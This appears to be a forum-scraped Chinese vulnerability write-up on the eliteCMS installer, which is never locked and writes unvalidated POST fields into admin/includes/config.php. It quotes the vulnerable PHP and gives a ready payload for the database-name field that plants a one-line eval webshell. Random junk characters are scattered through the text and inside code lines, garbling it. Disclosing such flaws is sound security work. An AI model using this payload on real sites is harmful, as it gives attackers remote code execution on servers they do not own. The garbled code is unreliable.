eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

1 |  V; |) \4 `另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

$ @: a9 |4 H2 c. l( S/ I7 ^* a...
% j5 O" D0 M9 x4 G! Jelseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
    $write = "<?php\n";
    $write .= "/**\n";
' K# ~9 _! s+ E    $write .= "*\n";
7 ~6 z& S' b# B/ M. Z* p9 u7 x    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
" j  [$ X+ y  e8 ^  J...略...
    $write .= "*\n";
    $write .= "*/\n";
) `: [& e2 M4 e* i/ H/ u% x2 b    $write .= "\n";
! a- P( X0 ~; n) S7 p3 N" l  T; |    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
0 l  u3 S1 L3 v# i    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
! c- t$ V& D; W8 N( K    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
. |6 Q2 p6 k$ C- D- V    $write .= "if (!\$db_select) {\n";
7 o/ _) H* _+ P& V. P1 J0 p2 |    $write .= "        die(\"Database select failed\" .mysql_error());\n";
; a- P, M% s" t. i+ N    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

# Z& }) X7 y! G- m8 X    $writer = fopen($file, 'w');
9 ]- \7 f1 o, S0 L...

; W; I4 I0 H; y) c# v8 t4 Z在看代码：
# M4 B2 T& _# J% j8 s
5 J+ E* q% W1 P$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
( U& t+ M' H0 D' j! K; ?
5 e; l( ]1 }- d! S2 v取值未作任何验证
$ \2 W: S0 K- m如果将数据库名POST数据：

, R7 c+ i# w0 L& |/ V" L7 y7 n; p"?><?php eval($_POST[c]);?><?php

: {# `4 l- w3 u$ a将导致一句话后门写入/admin/includes/config.php